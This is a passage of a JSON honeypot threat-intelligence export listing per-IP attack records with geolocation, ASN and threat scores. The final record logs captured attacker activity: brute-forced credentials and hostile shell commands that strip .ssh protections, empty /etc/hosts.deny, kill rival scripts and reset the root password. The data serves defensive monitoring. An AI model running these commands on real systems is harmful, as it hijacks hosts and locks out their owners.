      "last_seen": "2026-05-23T00:29:24.901Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T00:29:12.719000+00:00",
        "last_seen_30d": "2026-05-23T00:30:34.158000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "123.169.104.128": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:03:31.133Z",
      "last_seen": "2026-05-23T11:04:00.405Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:03:31.133000+00:00",
        "last_seen_30d": "2026-05-23T11:05:08.195000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "131.222.253.198": {
      "attack_count": 2,
      "first_seen": "2026-05-14T12:56:04.428Z",
      "last_seen": "2026-05-14T12:56:16.718Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Antakya",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T12:56:04.428000+00:00",
        "last_seen_30d": "2026-05-14T12:57:25.085000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.58.152.75": {
      "attack_count": 2,
      "first_seen": "2026-05-08T16:40:43.353Z",
      "last_seen": "2026-05-08T16:40:57.154Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Lucknow",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T16:40:43.353000+00:00",
        "last_seen_30d": "2026-05-08T16:42:05.208000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.230.102.10": {
      "attack_count": 2,
      "first_seen": "2026-05-10T10:01:43.033Z",
      "last_seen": "2026-05-10T10:01:43.317Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 27.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 17.9,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 62,
        "days_active_30d": 7,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T05:27:52.084000+00:00",
        "last_seen_30d": "2026-05-15T05:46:21.697000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 40,
        "Honeytrap": 20,
        "Cowrie": 2
      }
    },
    "157.49.68.98": {
      "attack_count": 2,
      "first_seen": "2026-05-17T01:58:42.889Z",
      "last_seen": "2026-05-17T02:00:42.891Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Firozabad",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T01:58:42.889000+00:00",
        "last_seen_30d": "2026-05-17T02:01:52.564000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "161.81.122.152": {
      "attack_count": 2,
      "first_seen": "2026-05-21T14:25:47.217Z",
      "last_seen": "2026-05-21T14:26:01.222Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 9231,
      "as_org": "China Mobile Hong Kong Company Limited",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T14:25:47.217000+00:00",
        "last_seen_30d": "2026-05-21T14:27:05.951000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.83.57.72": {
      "attack_count": 2,
      "first_seen": "2026-05-21T09:48:29.207Z",
      "last_seen": "2026-05-21T09:48:41.309Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 137266,
      "as_org": "CHINATELECOM Hubei province Wuhan 5G network",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:48:29.207000+00:00",
        "last_seen_30d": "2026-05-21T09:49:43.729000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.230.184.151": {
      "attack_count": 2,
      "first_seen": "2026-05-12T21:31:17.058Z",
      "last_seen": "2026-05-12T21:31:33.830Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Grajales",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T21:31:17.058000+00:00",
        "last_seen_30d": "2026-05-12T21:32:37.555000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.76.227.142": {
      "attack_count": 2,
      "first_seen": "2026-05-24T00:09:28.633Z",
      "last_seen": "2026-05-24T00:11:28.639Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Embu das Artes",
      "asn": 26599,
      "as_org": "TELEFONICA BRASIL S.A",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T00:09:28.633000+00:00",
        "last_seen_30d": "2026-05-24T00:13:15.454000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "181.36.94.157": {
      "attack_count": 2,
      "first_seen": "2026-05-30T06:34:34.838Z",
      "last_seen": "2026-05-30T06:34:47.380Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "La Romana",
      "asn": 28118,
      "as_org": "ALTICE DOMINICANA S.A.",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-30T06:34:34.838000+00:00",
        "last_seen_30d": "2026-05-30T06:35:50.531000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "181.41.70.84": {
      "attack_count": 2,
      "first_seen": "2026-05-11T17:35:27.241Z",
      "last_seen": "2026-05-11T17:35:39.383Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Guyana",
      "country_code": "GY",
      "city": "Georgetown",
      "asn": 19863,
      "as_org": "Guyana Telephone & Telegraph Co.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:35:27.241000+00:00",
        "last_seen_30d": "2026-05-11T17:36:40.414000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.34.12.220": {
      "attack_count": 2,
      "first_seen": "2026-05-23T07:12:08.215Z",
      "last_seen": "2026-05-23T07:12:47.687Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T07:12:08.215000+00:00",
        "last_seen_30d": "2026-05-23T07:14:09.589000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.240.17.110": {
      "attack_count": 2,
      "first_seen": "2026-05-07T01:26:42.204Z",
      "last_seen": "2026-05-07T01:26:55.022Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Erbil",
      "asn": 59625,
      "as_org": "Korek Telecom Company for Communications LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:26:42.204000+00:00",
        "last_seen_30d": "2026-05-07T01:28:03.893000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.189.95.21": {
      "attack_count": 2,
      "first_seen": "2026-05-16T19:00:21.952Z",
      "last_seen": "2026-05-16T19:00:34.907Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Gustavo Adolfo Madero",
      "asn": 17072,
      "as_org": "TOTAL PLAY TELECOMUNICACIONES SA DE CV",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T19:00:21.952000+00:00",
        "last_seen_30d": "2026-05-16T19:01:44.692000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "195.191.104.122": {
      "attack_count": 2,
      "first_seen": "2026-05-16T10:18:32.352Z",
      "last_seen": "2026-05-16T10:18:35.090Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": "Podilsk",
      "asn": 50487,
      "as_org": "Santosha LTD",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T10:18:32.352000+00:00",
        "last_seen_30d": "2026-05-16T10:19:41.516000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "198.235.24.228": {
      "attack_count": 2,
      "first_seen": "2026-05-22T20:14:19.437Z",
      "last_seen": "2026-05-22T20:14:19.739Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T04:46:09.838000+00:00",
        "last_seen_30d": "2026-05-31T01:43:22.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 27,
        "Dionaea": 3,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "202.9.46.115": {
      "attack_count": 2,
      "first_seen": "2026-05-08T06:39:30.365Z",
      "last_seen": "2026-05-08T06:39:42.565Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mongolia",
      "country_code": "MN",
      "city": "Ulan Bator",
      "asn": 10219,
      "as_org": "Skymedia Corporation",
      "threat_score": 6.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:39:30.365000+00:00",
        "last_seen_30d": "2026-05-10T12:05:30.618000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "204.246.39.149": {
      "attack_count": 2,
      "first_seen": "2026-05-06T20:26:51.403Z",
      "last_seen": "2026-05-06T20:27:04.625Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Blytheville",
      "asn": 394475,
      "as_org": "MCEC Fiber, Inc.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T20:26:51.403000+00:00",
        "last_seen_30d": "2026-05-06T20:28:13.184000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "222.246.108.216": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:56:00.228Z",
      "last_seen": "2026-05-23T10:56:00.882Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T10:56:00.228000+00:00",
        "last_seen_30d": "2026-05-23T10:57:05.556000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.226.183.147": {
      "attack_count": 2,
      "first_seen": "2026-05-20T15:56:28.321Z",
      "last_seen": "2026-05-20T15:56:42.129Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T15:56:28.321000+00:00",
        "last_seen_30d": "2026-05-20T15:57:50.211000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.70.192.121": {
      "attack_count": 2,
      "first_seen": "2026-05-17T06:53:27.730Z",
      "last_seen": "2026-05-17T06:53:40.431Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bekasi",
      "asn": 7713,
      "as_org": "PT Telekomunikasi Indonesia",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T06:53:27.730000+00:00",
        "last_seen_30d": "2026-05-17T06:54:42.596000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.220.201.142": {
      "attack_count": 2,
      "first_seen": "2026-05-07T08:42:29.200Z",
      "last_seen": "2026-05-07T08:42:42.392Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mozambique",
      "country_code": "MZ",
      "city": "Maputo",
      "asn": 30619,
      "as_org": "TMCEL-Mocambique",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T08:42:29.200000+00:00",
        "last_seen_30d": "2026-05-07T08:43:45.924000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "41.82.20.230": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:39:52.398Z",
      "last_seen": "2026-05-04T09:40:04.893Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Senegal",
      "country_code": "SN",
      "city": "Dakar",
      "asn": 8346,
      "as_org": "SONATEL SONATEL-AS Autonomous System",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:39:52.398000+00:00",
        "last_seen_30d": "2026-05-04T09:41:07.954000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "47.28.105.222": {
      "attack_count": 2,
      "first_seen": "2026-05-12T13:59:20.037Z",
      "last_seen": "2026-05-12T13:59:33.199Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Rancho Cucamonga",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T13:59:20.037000+00:00",
        "last_seen_30d": "2026-05-12T14:00:40.482000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.199.166.56": {
      "attack_count": 2,
      "first_seen": "2026-05-12T18:43:48.903Z",
      "last_seen": "2026-05-12T18:45:48.911Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ireland",
      "country_code": "IE",
      "city": null,
      "asn": 5607,
      "as_org": "Sky UK Limited",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T18:43:48.903000+00:00",
        "last_seen_30d": "2026-05-12T18:56:32.642000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "68.185.152.86": {
      "attack_count": 2,
      "first_seen": "2026-05-11T03:57:43.807Z",
      "last_seen": "2026-05-11T03:58:14.209Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Montgomery",
      "asn": 20115,
      "as_org": "Charter Communications LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:57:43.807000+00:00",
        "last_seen_30d": "2026-05-11T03:59:15.256000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "43.153.76.103": {
      "attack_count": 382,
      "first_seen": "2026-05-17T04:43:20.139Z",
      "last_seen": "2026-05-17T05:08:13.820Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1987",
        "20192019",
        "2wsx#EDC",
        "88888888",
        "Asd123456",
        "Hola123",
        "Test@123",
        "b0ll0ck5",
        "ddd!@#$%^&",
        "dhis",
        "golden",
        "johnny",
        "kundan",
        "pa55word",
        "plunga471",
        "postgresql",
        "qwerty1234567890",
        "redhat@123"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:7ynZdnZi2gu8\"|chpasswd|bash",
        "echo \"root:cxAlP9WnN7jt\"|chpasswd|bash",
        "echo \"root:vgDYI5y9TfVc\"|chpasswd|bash",
        "echo \"root:xIMRvYJH4NNc\"|chpasswd|bash"
      ],
      "event_types": [
